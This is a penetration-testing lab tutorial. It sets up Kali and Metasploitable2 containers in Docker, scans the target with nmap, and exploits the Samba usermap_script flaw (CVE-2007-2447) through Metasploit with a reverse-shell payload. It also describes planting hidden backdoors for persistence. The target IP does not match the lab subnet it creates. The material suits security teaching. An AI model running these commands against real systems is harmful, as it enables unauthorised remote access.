Penetration testing usually involves the following steps: Information Gathering: Collect as much information as possible about the target system, including network information, website content, directory structure, potential usernames, open ports, services, domain names, and subdomains. Various tools can be used for this purpose. Vulnerability Scanning: Use scanning tools to perform a comprehensive scan of the target system to identify vulnerabilities. Automated scanning tools are available, or manual tools can be used for targeted scanning of specific services. Exploitation: Once exploitable vulnerabilities are identified, use appropriate tools and techniques to gain higher-level access or privileges on the target system. This may involve remote code execution, injection attacks, or other methods. Maintaining Access: Create a backdoor or persistent access mechanism on the target system to facilitate future access while avoiding detection. Reporting: Analyze the findings and generate a report detailing the vulnerabilities discovered and the steps taken during the penetration testing process. This report can help the target organization to secure their systems effectively. #Perform Penetration Testing with Nmap and Metasploit #Setting up the Environment # pull image untuk kali linux docker pull kalilinux/kali-rolling # cek image kali linux docker image ls #download image metasploit 2 docker pull tleemcjr/metasploitable2 #Buat network baru pentest docker network create pentest --subnet 10.10.10.0/24 #jalankan container metasploitable2 docker run --network=pentest -h victim -it --rm --name metasploitable2 tleemcjr/metasploitable2 #buka terminal lagi dan login ke server docker #jalankan perintah di kali linux dengan masuk ke shell container kali linux docker run --network=pentest -h attacker -it --name kalibox kalilinux/kali-rolling #jalankan container kali linux dengan network host dan masuk ke shell container kali linux docker exec -ti c5901ad350ca bash #install aplikasi di bawah ini apt update apt install net-tools apt install nmap #install di kali linux apt install metasploit-framework #Perform Vulnerability Scanning #Save the output to /tmp/report.txt in Docker container nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt cat /tmp/report.txt #focus on the Samba service, which has a known remote command execution vulnerability (CVE-2007-2447) in the version running on the Metasploitable2 system cd ~ msfconsole #Load the Samba exploit module in Metasploit console: use exploit/multi/samba/usermap_script #Set the payload to cmd/unix/reverse in Metasploit console: set payload cmd/unix/reverse #Configure the target IP address and port in Metasploit console: set RHOST 192.168.122.102 set RPORT 445 #Set the local IP address for the reverse shell in Metasploit console set LHOST 192.168.122.1 #options in Metasploit console show options #execute exploit exploit